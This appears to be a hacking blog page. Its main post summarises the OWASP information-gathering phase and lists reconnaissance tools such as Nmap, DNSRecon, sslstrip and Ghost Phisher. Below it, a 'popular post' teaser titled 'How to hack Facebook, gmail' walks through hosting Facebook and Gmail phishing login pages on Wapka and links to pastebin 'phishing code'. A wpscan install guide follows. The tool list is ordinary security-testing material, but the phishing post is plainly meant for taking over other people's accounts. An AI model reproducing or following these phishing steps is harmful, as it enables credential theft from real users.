Skip to main content

Information Gathering

By RoCk StAr DeViL
As per OWASP Testing Guide v4, the first phase in security assessment is focused on collecting as much information as possible about a target application. Information Gathering is the most critical step of an application security test. The security test should endeavour to test as much of the code base as possible. Thus mapping all possible paths through the code to facilitate thorough testing is paramount.

This task can be carried out in many different ways.

By using public tools (search engines), scanners, sending simple HTTP requests, or specially crafted requests, it is possible to force the application to leak information, e.g., disclosing error messages or revealing the versions and technologies used.

Below are the list of tools, are used to gather information.
  • acccheck
  • ace-voip
  • Amap
  • Automater
  • bing-ip2hosts
  • braa
  • CaseFile
  • CDPSnarf
  • cisco-torch
  • Cookie Cadger
  • copy-router-config
  • DMitry
  • dnmap
  • dnsenum
  • dnsmap
  • DNSRecon
  • dnstracer
  • dnswalk
  • DotDotPwn
  • enum4linux
  • enumIAX
  • exploitdb
  • Fierce
  • Firewalk
  • fragroute
  • fragrouter
  • Ghost Phisher
  • GoLismero
  • goofile
  • hping3
  • InTrace
  • iSMTP
  • lbd
  • Maltego Teeth
  • masscan
  • Metagoofil
  • Miranda
  • Nmap
  • ntop
  • p0f
  • Parsero
  • Recon-ng
  • SET
  • smtp-user-enum
  • snmpcheck
  • sslcaudit
  • SSLsplit
  • sslstrip
  • SSLyze
  • THC-IPV6
  • theHarvester
  • TLSSLed
  • twofi
  • URLCrazy
  • Wireshark
  • WOL-E
  • Xplico
Labels:

Comments

Post a Comment

plz add ur comment here

Popular posts from this blog

How to hack Facebook ,gmail , teen patti 2016

By RoCk StAr DeViL
2016 latest trick to hack fb gmail etc 1. OpenWapka.mobi 2. Login with your Wapka account onWapka.mobior create a new one. 3. Now scroll down and open your Site( or create a new one & then click manage it ) 4. Now Click on Admin Mode 5. Click on#EDIT SITEoption at the bottom right side of your page. See image shown below.6. Then Click on WML/XHTML code option. 7. Copy All the HTML codes Given below click here for getting code Codes for gmail:-  http://pastebin.com/ckj1hh1L Fb security:-    http://www.iwebtool.com/tool/tools/code_viewer/code_viewer.php?domain=facebooktrickzone.wapka.mobi%2Fsite_0.xhtml&clientAction=534.click Other codes Autoliker Phishing Code for Facebook —    http://pastebin.com/G9G2bTpQ simple facebook login page code — http://pastebin.com/pE55h7GkAutoliker Facebook Phishing Code —- http://pastebin.com/Zakn5yhQAutoliker Phishing Code for Facebook level 2 —- http://pastebin.com/7R0NFCFJ New Fb security Phishin...
3 comments
Read more

Wordpress hacking - How to install / run wpscan on windows xp / windows 7 / windows 10

By RoCk StAr DeViL
HOW TO RUN WPSCAN ON WINDOWS Byrockstardevil Requirements: rubyinstaller Development Kit for rubyinstaller curl DLL for windows : libcurl.dll 1 - install rubyinstaller you must have Ruby 2.2.3 version . download links here : http://rubyinstaller.org/downloads/ for more info : https://github.com/oneclick/rubyinstaller/wiki 2 - install Development Kit for rubyinstaller download link : http://rubyinstaller.org/downloads/ how to install : https://github.com/oneclick/rubyinstaller/wiki/Development-Kit if you face that problem  "unknown encoding name -  (ArgumentError)" just type "chcp 1252" in cmd and hit enter 3 - install libcurl.dll A - Download libcurl.dll from : http://www.confusedbycode.com/curl/ B - copy libcurl.dll copy  libcurl.dll into ruby bin folder or wpscan folder and make sure to add it to your PATH. I also added .DLL to PATHEXT ex : C:\Ruby21-x64\bin\ you can visit : http://www.computerhope.com/issues/ch000549.htm to know to set the p...
2 comments
Read more